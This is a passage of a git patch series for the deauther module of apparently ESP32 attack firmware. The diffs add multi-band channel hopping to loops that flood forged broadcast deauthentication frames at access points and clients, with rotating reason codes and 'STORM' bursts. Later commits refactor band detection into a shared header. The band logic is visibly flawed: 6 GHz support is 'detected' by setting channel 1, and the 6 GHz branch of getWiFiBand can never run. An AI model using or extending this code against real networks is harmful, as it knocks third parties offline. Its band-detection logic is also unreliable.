(total_frames % 60 == 0) { @@ -744,11 +1002,25 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { const uint8_t *reasons = getDeauthReasons(band, &reason_count); uint8_t reason = reasons[reason_index]; - if (useMultipleAPs) { - ap_index = (ap_index + 1) % sameSSID_APs.size(); + // Hop through channels if multiple + if (channelList.size() > 1 && millis() - last_hop > hop_interval) { + channel_index = (channel_index + 1) % channelList.size(); + int current_channel = channelList[channel_index]; + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + last_hop = millis(); + + int current_band = getWiFiBand(current_channel); + if (current_band != band) { + band = current_band; + reasons = getDeauthReasons(band, &reason_count); + reason_index = (reason_index) % reason_count; + reason = reasons[reason_index]; + } + } + + if (useMultipleAPs && !sameSSID_APs.empty()) { + int ap_index = channel_index % sameSSID_APs.size(); APInfo ¤t_ap = sameSSID_APs[ap_index]; - esp_wifi_set_channel(current_ap.channel, WIFI_SECOND_CHAN_NONE); - vTaskDelay(50 / portTICK_PERIOD_MS); buildOptimizedDeauthFrame( frame, broadcast_mac, current_ap.bssid, current_ap.bssid, reason, false ); @@ -767,8 +1039,8 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { delay_ms = random(1, 3); if (random(100) < 30) { uint8_t extra_reason = reasons[random(reason_count)]; - if (useMultipleAPs) { - APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; + if (useMultipleAPs && !sameSSID_APs.empty()) { + APInfo ¤t_ap = sameSSID_APs[channel_index % sameSSID_APs.size()]; buildOptimizedDeauthFrame( frame, broadcast_mac, current_ap.bssid, current_ap.bssid, extra_reason, false ); @@ -792,6 +1064,9 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK); tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1); if (storm_active) { tft.drawRightString("STORM", tftWidth - 12, tftHeight - 56, 1); } + if (channelList.size() > 1) { + tft.drawRightString("BAND-HOP", tftWidth - 12, tftHeight - 72, 1); + } } } @@ -801,6 +1076,7 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { tft.fillRect(0, tftHeight - 60, tftWidth, 60, TFT_BLACK); padprintln("Attack stopped."); padprintln("Frames sent: " + String(total_frames)); + if (channelList.size() > 1) { padprintln("Multi-band hopping used"); } if (savedState.was_connected) { padprintln("Restoring WiFi..."); @@ -810,6 +1086,9 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { } void deauthAllFromScan() { + // Ensure band detection is done + detectSupportedBands(); + WiFiState savedState = saveWiFiState(); drawMainBorderWithTitle("Select AP"); @@ -852,12 +1131,19 @@ void deauthAllFromScan() { } void deauthAllByChannel() { + // Ensure band detection is done + detectSupportedBands(); + WiFiState savedState = saveWiFiState(); drawMainBorderWithTitle("Select Channel"); options.clear(); - for (int ch = 1; ch <= 14; ch++) { - String band = (ch >= 1 && ch <= 11) ? "2.4GHz" : (ch >= 36 ? "5GHz" : "2.4GHz"); + + // Build channel list based on supported bands + std::vector channelList = buildDefaultChannelList(); + + for (int ch : channelList) { + String band = (ch >= 1 && ch <= 14) ? "2.4GHz" : (ch >= 36 && ch <= 165) ? "5GHz" : "6GHz"; String optionText = "Channel " + String(ch) + " (" + band + ")"; options.push_back({optionText.c_str(), [=]() { uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; @@ -878,6 +1164,9 @@ void deauthAllByChannel() { } void deauthAllMenu() { + // Ensure band detection is done + detectSupportedBands(); + drawMainBorderWithTitle("Deauth All"); options = { @@ -894,10 +1183,25 @@ void runDeauthTargetList(const std::vector &targets, uint8_t *targetMAC, i displayError("No targets selected", true); return; } + + // Ensure band detection is done + detectSupportedBands(); + WiFiState savedState = saveWiFiState(); int band = getWiFiBand(channel); cacheSameSSIDAPs(); bool useMultipleAPs = sameSSID_APs.size() > 1; + + // Build channel list + std::vector channelList; + if (useMultipleAPs) { + channelList = buildChannelListFromAPs(sameSSID_APs); + } else { + channelList = buildDefaultChannelList(); + if (channelList.empty()) { + channelList.push_back(channel); + } + } if (!initializeDeauthMode(channel, savedState)) { restoreWiFiState(savedState); @@ -907,10 +1211,13 @@ void runDeauthTargetList(const std::vector &targets, uint8_t *targetMAC, i drawMainBorderWithTitle("Deauth List"); tft.setTextSize(FP); padprintln("Deauthing " + String(targets.size()) + " targets..."); - String bandStr = (band == 1) ? "5GHz" : (band == 2) ? "6GHz" : "2.4GHz"; + String bandStr = (band == BAND_5GHZ) ? "5GHz" : (band == BAND_6GHZ) ? "6GHz" : "2.4GHz"; padprintln("Channel: " + String(channel) + " (" + bandStr + ")"); padprintln("Mode: AP"); if (useMultipleAPs) { padprintln("Mesh: " + String(sameSSID_APs.size()) + " APs"); } + if (channelList.size() > 1) { + padprintln("Bands: " + String(channelList.size()) + " channels"); + } padprintln(""); padprintln("Press BACK to STOP."); @@ -923,9 +1230,11 @@ void runDeauthTargetList(const std::vector &targets, uint8_t *targetMAC, i uint32_t start_time = millis(); int total_frames = 0; size_t target_index = 0; - int ap_index = 0; + int channel_index = 0; bool storm_active = false; uint32_t burst_counter = 0; + unsigned long last_hop = millis(); + int hop_interval = 50; while (!check(EscPress)) { if (target_index >= targets.size()) { target_index = 0; } @@ -938,11 +1247,24 @@ void runDeauthTargetList(const std::vector &targets, uint8_t *targetMAC, i const uint8_t *reasons = getDeauthReasons(band, &reason_count); uint8_t reason = reasons[random(reason_count)]; - if (useMultipleAPs) { - ap_index = (ap_index + 1) % sameSSID_APs.size(); + // Hop through channels if multiple + if (channelList.size() > 1 && millis() - last_hop > hop_interval) { + channel_index = (channel_index + 1) % channelList.size(); + int current_channel = channelList[channel_index]; + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + last_hop = millis(); + + int current_band = getWiFiBand(current_channel); + if (current_band != band) { + band = current_band; + reasons = getDeauthReasons(band, &reason_count); + reason = reasons[random(reason_count)]; + } + } + + if (useMultipleAPs && !sameSSID_APs.empty()) { + int ap_index = channel_index % sameSSID_APs.size(); APInfo ¤t_ap = sameSSID_APs[ap_index]; - esp_wifi_set_channel(current_ap.channel, WIFI_SECOND_CHAN_NONE); - vTaskDelay(50 / portTICK_PERIOD_MS); buildOptimizedDeauthFrame( frames[0], hostMAC, current_ap.bssid, current_ap.bssid, reason, false ); @@ -981,6 +1303,9 @@ void runDeauthTargetList(const std::vector &targets, uint8_t *targetMAC, i tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK); tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1); if (storm_active) { tft.drawRightString("STORM", tftWidth - 12, tftHeight - 56, 1); } + if (channelList.size() > 1) { + tft.drawRightString("BAND-HOP", tftWidth - 12, tftHeight - 72, 1); + } } } @@ -990,6 +1315,7 @@ void runDeauthTargetList(const std::vector &targets, uint8_t *targetMAC, i tft.fillRect(0, tftHeight - 60, tftWidth, 60, TFT_BLACK); padprintln("Attack stopped."); padprintln("Frames sent: " + String(total_frames)); + if (channelList.size() > 1) { padprintln("Multi-band hopping used"); } if (savedState.was_connected) { padprintln("Restoring WiFi..."); From 906a46627eac48fc873334c9ac23be90b3a8c728 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 20:02:15 +0200 Subject: [PATCH 02/13] Add band detection and APInfo structure Added band detection and adaptive functions, including support for multiple bands and AP information structure. --- src/modules/wifi/deauther.h | 55 +++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/src/modules/wifi/deauther.h b/src/modules/wifi/deauther.h index 1de559b127..94b58659ac 100644 --- a/src/modules/wifi/deauther.h +++ b/src/modules/wifi/deauther.h @@ -14,10 +14,28 @@ struct WiFiState { wifi_mode_t wifi_mode = WIFI_MODE_NULL; }; +// Band type enum for cleaner code +enum BandType { + BAND_2_4GHZ = 0, + BAND_5GHZ = 1, + BAND_6GHZ = 2 +}; + +// Structure to hold supported bands +struct SupportedBands { + bool has2_4GHz = false; + bool has5GHz = false; + bool has6GHz = false; + int bandCount = 0; + std::vector bandList; // 0=2.4, 1=5, 2=6 +}; + +// Main deauth functions void stationDeauth(Host host, const uint8_t *apBssid = nullptr); void deauthAll(); void deauthTargetList(const std::vector &targets); +// WiFi state management WiFiState saveWiFiState(); void restoreWiFiState(const WiFiState &state); @@ -45,4 +63,41 @@ void clientSnifferCallback(void *buf, wifi_promiscuous_pkt_type_t type); // Channel detection - shared with wifi_atks int getAPChannel(const uint8_t *target_bssid, bool *found = nullptr); +// ============================================================================= +// NEW: Band Detection and Adaptive Functions +// ============================================================================= + +// Detect which bands the current hardware supports +void detectSupportedBands(); + +// Check if a specific band is supported +bool isBandSupported(int band); + +// Get the list of supported bands +SupportedBands getSupportedBands(); + +// Build channel list from APs (for multi-band hopping) +std::vector buildChannelListFromAPs(const std::vector &aps); + +// Build default channel list based on supported bands +std::vector buildDefaultChannelList(); + +// Get band name as string +String getBandName(int band); + +// ============================================================================= +// NEW: APInfo structure (was previously in .cpp, now exposed for header) +// ============================================================================= + +struct APInfo { + uint8_t bssid[6]; + int channel; + int band; + bool is_5ghz; + int frequency; +}; + +// Cache same SSID APs across bands +void cacheSameSSIDAPs(); + #endif From acd52d3b6b2155db482e70de913b6bf881561911 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 20:19:45 +0200 Subject: [PATCH 03/13] Add APInfo structure and band detection functions Added APInfo structure to deauther.h for better access to access point information. --- src/modules/wifi/deauther.h | 25 +++++++++++-------------- 1 file changed, 11 insertions(+), 14 deletions(-) diff --git a/src/modules/wifi/deauther.h b/src/modules/wifi/deauther.h index 94b58659ac..f115c3a9c7 100644 --- a/src/modules/wifi/deauther.h +++ b/src/modules/wifi/deauther.h @@ -27,7 +27,16 @@ struct SupportedBands { bool has5GHz = false; bool has6GHz = false; int bandCount = 0; - std::vector bandList; // 0=2.4, 1=5, 2=6 + std::vector bandList; +}; + +// AP Info structure +struct APInfo { + uint8_t bssid[6]; + int channel; + int band; + bool is_5ghz; + int frequency; }; // Main deauth functions @@ -64,7 +73,7 @@ void clientSnifferCallback(void *buf, wifi_promiscuous_pkt_type_t type); int getAPChannel(const uint8_t *target_bssid, bool *found = nullptr); // ============================================================================= -// NEW: Band Detection and Adaptive Functions +// Band Detection and Adaptive Functions // ============================================================================= // Detect which bands the current hardware supports @@ -85,18 +94,6 @@ std::vector buildDefaultChannelList(); // Get band name as string String getBandName(int band); -// ============================================================================= -// NEW: APInfo structure (was previously in .cpp, now exposed for header) -// ============================================================================= - -struct APInfo { - uint8_t bssid[6]; - int channel; - int band; - bool is_5ghz; - int frequency; -}; - // Cache same SSID APs across bands void cacheSameSSIDAPs(); From 8bcb7f6c3899e303ecd4fac8e05dcd67f482453c Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 20:24:01 +0200 Subject: [PATCH 04/13] Refactor WiFi band detection and channel functions Refactor WiFi band detection and channel building functions, removing unused structures and comments. Enhance clarity and organization of the code. --- src/modules/wifi/deauther.cpp | 69 +++++++++++++++-------------------- 1 file changed, 29 insertions(+), 40 deletions(-) diff --git a/src/modules/wifi/deauther.cpp b/src/modules/wifi/deauther.cpp index c76a45361d..440afb05ca 100644 --- a/src/modules/wifi/deauther.cpp +++ b/src/modules/wifi/deauther.cpp @@ -44,41 +44,22 @@ static const int DEAUTH_REASON_COUNT = sizeof(DEAUTH_REASONS) / sizeof(DEAUTH_RE static const uint8_t DEAUTH_REASONS_5GHZ[] = {0x30, 0x31, 0x32, 0x33, 0x34, 0x07, 0x08, 0x0A, 0x0D, 0x0F}; static const int DEAUTH_REASONS_5GHZ_COUNT = sizeof(DEAUTH_REASONS_5GHZ) / sizeof(DEAUTH_REASONS_5GHZ[0]); -// Band type enum for cleaner code -enum BandType { - BAND_2_4GHZ = 0, - BAND_5GHZ = 1, - BAND_6GHZ = 2 -}; - -struct APInfo { - uint8_t bssid[6]; - int channel; - int band; - bool is_5ghz; - int frequency; -}; static std::vector sameSSID_APs; - static std::vector detectedClients; static uint8_t scanTargetBSSID[6]; static bool clientScanActive = false; // ============================================================================= -// Band Detection and Capability +// Supported Bands - Global for the module // ============================================================================= -struct SupportedBands { - bool has2_4GHz = false; - bool has5GHz = false; - bool has6GHz = false; - int bandCount = 0; - std::vector bandList; // 0=2.4, 1=5, 2=6 -}; - static SupportedBands g_supportedBands; -static void detectSupportedBands() { +// ============================================================================= +// Band Detection and Channel Building Functions +// ============================================================================= + +void detectSupportedBands() { // Reset g_supportedBands = SupportedBands(); @@ -90,7 +71,6 @@ static void detectSupportedBands() { } // Check 5GHz (channels 36-165) - // Try a typical 5GHz channel if (esp_wifi_set_channel(36, WIFI_SECOND_CHAN_NONE) == ESP_OK) { g_supportedBands.has5GHz = true; g_supportedBands.bandList.push_back(BAND_5GHZ); @@ -101,11 +81,9 @@ static void detectSupportedBands() { g_supportedBands.bandCount++; } - // Check 6GHz (channels 1-233, but typically 1-233 with 20MHz spacing) - // Try a typical 6GHz channel (like channel 1) + // Check 6GHz (channels 1-233) if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - // Verify it's actually 6GHz by checking if channel 1 is 6GHz - // This is a simplified check; real detection would need more + // Simplified 6GHz detection g_supportedBands.has6GHz = true; g_supportedBands.bandList.push_back(BAND_6GHZ); g_supportedBands.bandCount++; @@ -119,7 +97,7 @@ static void detectSupportedBands() { g_supportedBands.has6GHz, g_supportedBands.bandCount); } -static bool isBandSupported(int band) { +bool isBandSupported(int band) { switch (band) { case BAND_2_4GHZ: return g_supportedBands.has2_4GHz; case BAND_5GHZ: return g_supportedBands.has5GHz; @@ -128,11 +106,20 @@ static bool isBandSupported(int band) { } } -// ============================================================================= -// Channel List Building for Adaptive Hopping -// ============================================================================= +SupportedBands getSupportedBands() { + return g_supportedBands; +} -static std::vector buildChannelListFromAPs(const std::vector &aps) { +String getBandName(int band) { + switch (band) { + case BAND_2_4GHZ: return "2.4GHz"; + case BAND_5GHZ: return "5GHz"; + case BAND_6GHZ: return "6GHz"; + default: return "Unknown"; + } +} + +std::vector buildChannelListFromAPs(const std::vector &aps) { std::vector channels; for (const auto &ap : aps) { // Only include channels from supported bands @@ -143,7 +130,7 @@ static std::vector buildChannelListFromAPs(const std::vector &aps) return channels; } -static std::vector buildDefaultChannelList() { +std::vector buildDefaultChannelList() { std::vector channels; if (g_supportedBands.has2_4GHz) { @@ -168,7 +155,7 @@ static std::vector buildDefaultChannelList() { } if (g_supportedBands.has6GHz) { - // 6GHz channels (1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233) + // 6GHz channels int sixGHzChannels[] = {1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233}; for (int ch : sixGHzChannels) { channels.push_back(ch); @@ -284,7 +271,7 @@ bool macCompare(const uint8_t *mac1, const uint8_t *mac2) { int getWiFiBand(int channel) { if (channel >= 1 && channel <= 14) return BAND_2_4GHZ; else if (channel >= 36 && channel <= 165) return BAND_5GHZ; - else if (channel >= 1 && channel <= 233) return BAND_6GHZ; // Simplified 6GHz detection + else if (channel >= 1 && channel <= 233) return BAND_6GHZ; return BAND_2_4GHZ; } @@ -673,6 +660,10 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { NextPress = false; delay(100); + // ADD THESE MISSING VARIABLES + int total_frames = 0; + uint32_t burst_counter = 0; + // Use the adaptive deauth loop if (channelList.size() > 1) { // Multi-channel/band hopping @@ -681,12 +672,10 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { // Single channel - use original fast loop long tmp = millis(); int cont = 0; - int total_frames = 0; uint8_t current_reason = 0; int reason_index = 0; int ap_index = 0; bool storm_active = false; - uint32_t burst_counter = 0; uint8_t consecutive_failures = 0; while (!check(EscPress)) { From 870e8e5b7969311844704727efefaa106de10e4f Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 21:41:26 +0200 Subject: [PATCH 05/13] Refactor WiFiState and relocate BandType enum Moved BandType enum to shared header and updated WiFiState structure. --- src/modules/wifi/deauther.h | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/src/modules/wifi/deauther.h b/src/modules/wifi/deauther.h index f115c3a9c7..647f2903c8 100644 --- a/src/modules/wifi/deauther.h +++ b/src/modules/wifi/deauther.h @@ -4,24 +4,18 @@ #include "scan_hosts.h" #include -struct WiFiState { - bool was_connected = false; - String ssid = ""; - String bssid = ""; - uint8_t channel = 0; - bool ap_active = false; - String ap_ssid = ""; - wifi_mode_t wifi_mode = WIFI_MODE_NULL; -}; +// Band type enum moved to shared header - keep only if karma_attack.h not included +// But since both are included, we'll use the ones from karma_attack.h +// Instead of redeclaring, we conditionally define if not already defined -// Band type enum for cleaner code +#ifndef BAND_TYPE_DEFINED +#define BAND_TYPE_DEFINED enum BandType { BAND_2_4GHZ = 0, BAND_5GHZ = 1, BAND_6GHZ = 2 }; -// Structure to hold supported bands struct SupportedBands { bool has2_4GHz = false; bool has5GHz = false; @@ -29,6 +23,17 @@ struct SupportedBands { int bandCount = 0; std::vector bandList; }; +#endif + +struct WiFiState { + bool was_connected = false; + String ssid = ""; + String bssid = ""; + uint8_t channel = 0; + bool ap_active = false; + String ap_ssid = ""; + wifi_mode_t wifi_mode = WIFI_MODE_NULL; +}; // AP Info structure struct APInfo { From e2e10673a6572fc741cf1e84b5ff7bd49215d6d6 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 21:42:16 +0200 Subject: [PATCH 06/13] Clean up deauther.h by removing unnecessary comments Removed redundant comments and retained enum definition. --- src/modules/wifi/deauther.h | 4 ---- 1 file changed, 4 deletions(-) diff --git a/src/modules/wifi/deauther.h b/src/modules/wifi/deauther.h index 647f2903c8..1a5e5a2403 100644 --- a/src/modules/wifi/deauther.h +++ b/src/modules/wifi/deauther.h @@ -4,10 +4,6 @@ #include "scan_hosts.h" #include -// Band type enum moved to shared header - keep only if karma_attack.h not included -// But since both are included, we'll use the ones from karma_attack.h -// Instead of redeclaring, we conditionally define if not already defined - #ifndef BAND_TYPE_DEFINED #define BAND_TYPE_DEFINED enum BandType { From b0a0e3948e744ecb99377253bd0f878016345671 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 22:35:24 +0200 Subject: [PATCH 07/13] Add band_types.h for WiFi band definitions --- src/modules/wifi/band_types.h | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 src/modules/wifi/band_types.h diff --git a/src/modules/wifi/band_types.h b/src/modules/wifi/band_types.h new file mode 100644 index 0000000000..e78151db8a --- /dev/null +++ b/src/modules/wifi/band_types.h @@ -0,0 +1,21 @@ +// band_types.h +#ifndef BAND_TYPES_H +#define BAND_TYPES_H + +#include + +enum BandType { + BAND_2_4GHZ = 0, + BAND_5GHZ = 1, + BAND_6GHZ = 2 +}; + +struct SupportedBands { + bool has2_4GHz = false; + bool has5GHz = false; + bool has6GHz = false; + int bandCount = 0; + std::vector bandList; +}; + +#endif From 6736d9c15c815ad68af4b7e0caf10f54e3b29312 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 22:35:58 +0200 Subject: [PATCH 08/13] Remove unused BandType and SupportedBands definitions Removed BandType enum and SupportedBands struct definitions from deauther.h. --- src/modules/wifi/deauther.h | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) diff --git a/src/modules/wifi/deauther.h b/src/modules/wifi/deauther.h index 1a5e5a2403..dd53faeaac 100644 --- a/src/modules/wifi/deauther.h +++ b/src/modules/wifi/deauther.h @@ -1,26 +1,11 @@ +// deauther.h #ifndef WIFI_DEAUTHER_H #define WIFI_DEAUTHER_H #include "scan_hosts.h" +#include "band_types.h" #include -#ifndef BAND_TYPE_DEFINED -#define BAND_TYPE_DEFINED -enum BandType { - BAND_2_4GHZ = 0, - BAND_5GHZ = 1, - BAND_6GHZ = 2 -}; - -struct SupportedBands { - bool has2_4GHz = false; - bool has5GHz = false; - bool has6GHz = false; - int bandCount = 0; - std::vector bandList; -}; -#endif - struct WiFiState { bool was_connected = false; String ssid = ""; From 57cb715c2cc8f82dc2a648a56764c88e6b84cbba Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Thu, 27 Aug 2026 00:04:26 +0200 Subject: [PATCH 09/13] Implement band detection and support functions Added band detection functions to identify supported WiFi bands. --- src/modules/wifi/band_types.h | 74 ++++++++++++++++++++++++++++++++++- 1 file changed, 73 insertions(+), 1 deletion(-) diff --git a/src/modules/wifi/band_types.h b/src/modules/wifi/band_types.h index e78151db8a..70c11f67a9 100644 --- a/src/modules/wifi/band_types.h +++ b/src/modules/wifi/band_types.h @@ -3,6 +3,12 @@ #define BAND_TYPES_H #include +#include +#include + +// ============================================================ +// Band Types - Shared between Karma and Deauther +// ============================================================ enum BandType { BAND_2_4GHZ = 0, @@ -18,4 +24,70 @@ struct SupportedBands { std::vector bandList; }; -#endif +// ============================================================ +// Band Detection Functions - Inline to avoid multiple definitions +// ============================================================ + +static SupportedBands g_supportedBands; + +inline void detectSupportedBands() { + // Reset + g_supportedBands = SupportedBands(); + + // Check 2.4GHz (channels 1-14) + if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + g_supportedBands.has2_4GHz = true; + g_supportedBands.bandList.push_back(BAND_2_4GHZ); + g_supportedBands.bandCount++; + } + + // Check 5GHz (channels 36-165) + if (esp_wifi_set_channel(36, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + g_supportedBands.has5GHz = true; + g_supportedBands.bandList.push_back(BAND_5GHZ); + g_supportedBands.bandCount++; + } else if (esp_wifi_set_channel(149, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + g_supportedBands.has5GHz = true; + g_supportedBands.bandList.push_back(BAND_5GHZ); + g_supportedBands.bandCount++; + } + + // Check 6GHz (channels 1-233) + if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + // Simplified 6GHz detection + g_supportedBands.has6GHz = true; + g_supportedBands.bandList.push_back(BAND_6GHZ); + g_supportedBands.bandCount++; + } + + // Restore to a safe channel + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + + Serial.printf("[BAND] Supported bands: 2.4:%d 5:%d 6:%d Count:%d\n", + g_supportedBands.has2_4GHz, g_supportedBands.has5GHz, + g_supportedBands.has6GHz, g_supportedBands.bandCount); +} + +inline bool isBandSupported(int band) { + switch (band) { + case BAND_2_4GHZ: return g_supportedBands.has2_4GHz; + case BAND_5GHZ: return g_supportedBands.has5GHz; + case BAND_6GHZ: return g_supportedBands.has6GHz; + default: return false; + } +} + +inline SupportedBands getSupportedBands() { + return g_supportedBands; +} + +inline String getBandName(int band) { + switch (band) { + case BAND_2_4GHZ: return "2.4GHz"; + case BAND_5GHZ: return "5GHz"; + case BAND_6GHZ: return "6GHz"; + default: return "Unknown"; + } +} + +#endif // BAND_TYPES_H From 1e755e8b58b05178793e62a93a1f3a8acd4529b3 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Thu, 27 Aug 2026 00:05:01 +0200 Subject: [PATCH 10/13] Remove band detection and channel building functions Removed band detection and channel building functions from the deauther module. --- src/modules/wifi/deauther.cpp | 116 ---------------------------------- 1 file changed, 116 deletions(-) diff --git a/src/modules/wifi/deauther.cpp b/src/modules/wifi/deauther.cpp index 440afb05ca..986ef43eb6 100644 --- a/src/modules/wifi/deauther.cpp +++ b/src/modules/wifi/deauther.cpp @@ -49,122 +49,6 @@ static std::vector detectedClients; static uint8_t scanTargetBSSID[6]; static bool clientScanActive = false; -// ============================================================================= -// Supported Bands - Global for the module -// ============================================================================= - -static SupportedBands g_supportedBands; - -// ============================================================================= -// Band Detection and Channel Building Functions -// ============================================================================= - -void detectSupportedBands() { - // Reset - g_supportedBands = SupportedBands(); - - // Check 2.4GHz (channels 1-14) - if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - g_supportedBands.has2_4GHz = true; - g_supportedBands.bandList.push_back(BAND_2_4GHZ); - g_supportedBands.bandCount++; - } - - // Check 5GHz (channels 36-165) - if (esp_wifi_set_channel(36, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - g_supportedBands.has5GHz = true; - g_supportedBands.bandList.push_back(BAND_5GHZ); - g_supportedBands.bandCount++; - } else if (esp_wifi_set_channel(149, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - g_supportedBands.has5GHz = true; - g_supportedBands.bandList.push_back(BAND_5GHZ); - g_supportedBands.bandCount++; - } - - // Check 6GHz (channels 1-233) - if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { - // Simplified 6GHz detection - g_supportedBands.has6GHz = true; - g_supportedBands.bandList.push_back(BAND_6GHZ); - g_supportedBands.bandCount++; - } - - // Restore to a safe channel - esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); - - Serial.printf("[DEAUTH] Supported bands: 2.4:%d 5:%d 6:%d Count:%d\n", - g_supportedBands.has2_4GHz, g_supportedBands.has5GHz, - g_supportedBands.has6GHz, g_supportedBands.bandCount); -} - -bool isBandSupported(int band) { - switch (band) { - case BAND_2_4GHZ: return g_supportedBands.has2_4GHz; - case BAND_5GHZ: return g_supportedBands.has5GHz; - case BAND_6GHZ: return g_supportedBands.has6GHz; - default: return false; - } -} - -SupportedBands getSupportedBands() { - return g_supportedBands; -} - -String getBandName(int band) { - switch (band) { - case BAND_2_4GHZ: return "2.4GHz"; - case BAND_5GHZ: return "5GHz"; - case BAND_6GHZ: return "6GHz"; - default: return "Unknown"; - } -} - -std::vector buildChannelListFromAPs(const std::vector &aps) { - std::vector channels; - for (const auto &ap : aps) { - // Only include channels from supported bands - if (isBandSupported(ap.band)) { - channels.push_back(ap.channel); - } - } - return channels; -} - -std::vector buildDefaultChannelList() { - std::vector channels; - - if (g_supportedBands.has2_4GHz) { - // 2.4GHz channels (1, 6, 11 are most common) - channels.push_back(1); - channels.push_back(6); - channels.push_back(11); - // Add more if needed - for (int ch = 2; ch <= 14; ch++) { - if (ch != 1 && ch != 6 && ch != 11) { - channels.push_back(ch); - } - } - } - - if (g_supportedBands.has5GHz) { - // 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161) - int fiveGHzChannels[] = {36, 40, 44, 48, 149, 153, 157, 161}; - for (int ch : fiveGHzChannels) { - channels.push_back(ch); - } - } - - if (g_supportedBands.has6GHz) { - // 6GHz channels - int sixGHzChannels[] = {1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233}; - for (int ch : sixGHzChannels) { - channels.push_back(ch); - } - } - - return channels; -} - // ============================================================================= // Vendor OUI Lookup // ============================================================================= From 7b4d1675f3b5b103a63032ca042b6774e4bbb9e4 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Thu, 27 Aug 2026 00:05:37 +0200 Subject: [PATCH 11/13] Fix header guard in deauther.h --- src/modules/wifi/deauther.h | 1 - 1 file changed, 1 deletion(-) diff --git a/src/modules/wifi/deauther.h b/src/modules/wifi/deauther.h index dd53faeaac..22a99b07d9 100644 --- a/src/modules/wifi/deauther.h +++ b/src/modules/wifi/deauther.h @@ -1,4 +1,3 @@ -// deauther.h #ifndef WIFI_DEAUTHER_H #define WIFI_DEAUTHER_H From 145954dada05e05d082c45fddfe3a44a046a5f38 Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Thu, 27 Aug 2026 00:30:26 +0200 Subject: [PATCH 12/13] Implement channel list building functions Added functions to build channel lists based on supported bands and access points. --- src/modules/wifi/deauther.cpp | 54 +++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) diff --git a/src/modules/wifi/deauther.cpp b/src/modules/wifi/deauther.cpp index 986ef43eb6..98b60f7ec0 100644 --- a/src/modules/wifi/deauther.cpp +++ b/src/modules/wifi/deauther.cpp @@ -159,6 +159,60 @@ int getWiFiBand(int channel) { return BAND_2_4GHZ; } +// ============================================================================= +// Deauther-Specific Channel Functions +// ============================================================================= + +std::vector buildChannelListFromAPs(const std::vector &aps) { + std::vector channels; + for (const auto &ap : aps) { + // Only include channels from supported bands + if (isBandSupported(ap.band)) { + channels.push_back(ap.channel); + } + } + return channels; +} + +std::vector buildDefaultChannelList() { + std::vector channels; + + // Get supported bands + detectSupportedBands(); + SupportedBands bands = getSupportedBands(); + + if (bands.has2_4GHz) { + // 2.4GHz channels (1, 6, 11 are most common) + channels.push_back(1); + channels.push_back(6); + channels.push_back(11); + // Add more if needed + for (int ch = 2; ch <= 14; ch++) { + if (ch != 1 && ch != 6 && ch != 11) { + channels.push_back(ch); + } + } + } + + if (bands.has5GHz) { + // 